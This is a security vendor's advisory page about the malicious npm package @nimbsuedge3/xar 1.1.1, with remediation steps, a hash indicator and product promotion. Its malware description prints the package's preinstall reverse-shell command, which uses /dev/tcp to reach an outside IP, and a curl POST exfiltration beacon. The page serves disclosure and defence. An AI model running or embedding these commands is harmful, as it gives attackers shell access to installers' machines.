Which versions of @nimbsuedge3/xar are malicious?

The following npm versions of @nimbsuedge3/xar are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate @nimbsuedge3/xar if I installed it?

@nimbsuedge3/xar is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @nimbsuedge3/xar — how do I know if it already compromised me?

If @nimbsuedge3/xar was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @nimbsuedge3/xar part of a known attack campaign?

Yes — @nimbsuedge3/xar is associated with the IN-MAL-2026-020195 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nimbsuedge3/xar across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @nimbsuedge3/xar (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @nimbsuedge3/xar across your stack and pipelines.

Malicious package

@nimbsuedge3/xarnpm

@nimbsuedge3/xar is a confirmed malicious npm package (MAL-2026-16301) that steals credentials and exfiltrates sensitive data (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbsuedge3/xar (npm)

MAL-2026-16301

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nimbsuedge3/xar

What this malware does

package.json declares a preinstall lifecycle script that runs bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php as an out-of-band exfiltration beacon. Both actions fire automatically on npm install, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @nimbsuedge3/xar (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @nimbsuedge3/xar across your stack and pipelines.
If you installed it — respond
@nimbsuedge3/xar is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @nimbsuedge3/xar was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @nimbsuedge3/xar before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @nimbsuedge3/xar on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020195

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @nimbsuedge3/xar-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database